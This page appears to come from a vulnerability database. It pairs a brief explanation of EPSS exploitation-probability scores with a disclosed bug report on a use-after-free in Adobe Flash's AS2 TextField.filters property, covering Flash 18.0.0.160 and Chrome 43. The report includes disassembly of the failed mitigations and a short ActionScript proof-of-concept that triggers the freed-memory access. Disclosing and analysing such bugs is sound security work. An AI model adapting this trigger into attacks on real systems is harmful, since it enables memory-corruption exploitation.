EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

This is Issue 457278 resurrected. Again. VERSION Chrome Version: [43.0.2357.124, Flash 18.0.0.160] Operating System: [Windows 7 x64 SP1] REPRODUCTION CASE There is a use after free vulnerability in the ActionScript 2 TextField.filters array property. This is Issue 457278 resurrected. Again. When the TextField.filters array is set, Flash creates an internal array holding the filters. When the property is read, Flash iterates over this array and clones each filter. During this loop, it is possible to execute some AS2 by overriding a filter's constructor. At that moment, if the AS2 code alters the filters array, Flash frees the internal array leaving a reference to freed memory in the stack. When the execution flow resumes to the loop, a use-after-free occurs. Flash 17.0.0.169 added a flag to mitigate Issue 457278 .text:004D6F0B mov esi, [esp+2Ch+var_C] .text:004D6F0F push 1 ; char .text:004D6F11 mov ecx, edi ; int .text:004D6F13 mov byte ptr [esi+0Ch], 1 ; this flag was added .text:004D6F17 call xparseAS2Code .text:004D6F1C mov byte ptr [esi+0Ch], 0 Flash 18.0.0.160 added an other flag to mitigate Issue 476926 .text:004D6E3E loc_4D6E3E: .text:004D6E3E cmp byte ptr [ebp+0Ch], 0 ; this flag was added .text:004D6E42 lea eax, [ebp+0Ch] .text:004D6E45 mov [esp+2Ch+var_8], eax .text:004D6E49 jz short loc_4D6E58 .text:004D6E4B mov ecx, dword_E50A40 .text:004D6E51 call sub_967730 .text:004D6E58 .text:004D6E58 loc_4D6E58: .text:004D6E58 mov byte ptr [eax], 1 .text:004D6E5B jmp short loc_4D6E65 But they didn't figure it was possible to execute AS2 code a bit above in the function: .text:004D6E6F mov eax, [ebp+0] .text:004D6E72 push 0 .text:004D6E74 lea edx, [esp+34h+var_14] .text:004D6E78 push edx .text:004D6E79 mov edx, [eax+14h] .text:004D6E7C mov ecx, ebp .text:004D6E7E call edx ; return the filter name .text:004D6E80 push eax .text:004D6E81 lea eax, [esp+3Ch+var_10] .text:004D6E85 push eax .text:004D6E86 mov ecx, edi .text:004D6E88 call xcreateStringObject .text:004D6E8D mov ebx, [esp+38h+arg_4] .text:004D6E91 push eax .text:004D6E92 push ecx .text:004D6E93 mov eax, esp .text:004D6E95 mov ecx, edi .text:004D6E97 mov [eax], ebx .text:004D6E99 call sub_420400 ; execute some AS2 with a custom __proto__ object For ex: var oob = {} oob.__proto__ = {} oob.__proto__.addProperty("GlowFilter", function () {f(); return 0x123}, function () {}); flash.filters = oob Tested on Flash Player standalone 18.0.0.160, and Chrome 43.0.2357.124. That should crash while dereferencing 0x41424344.
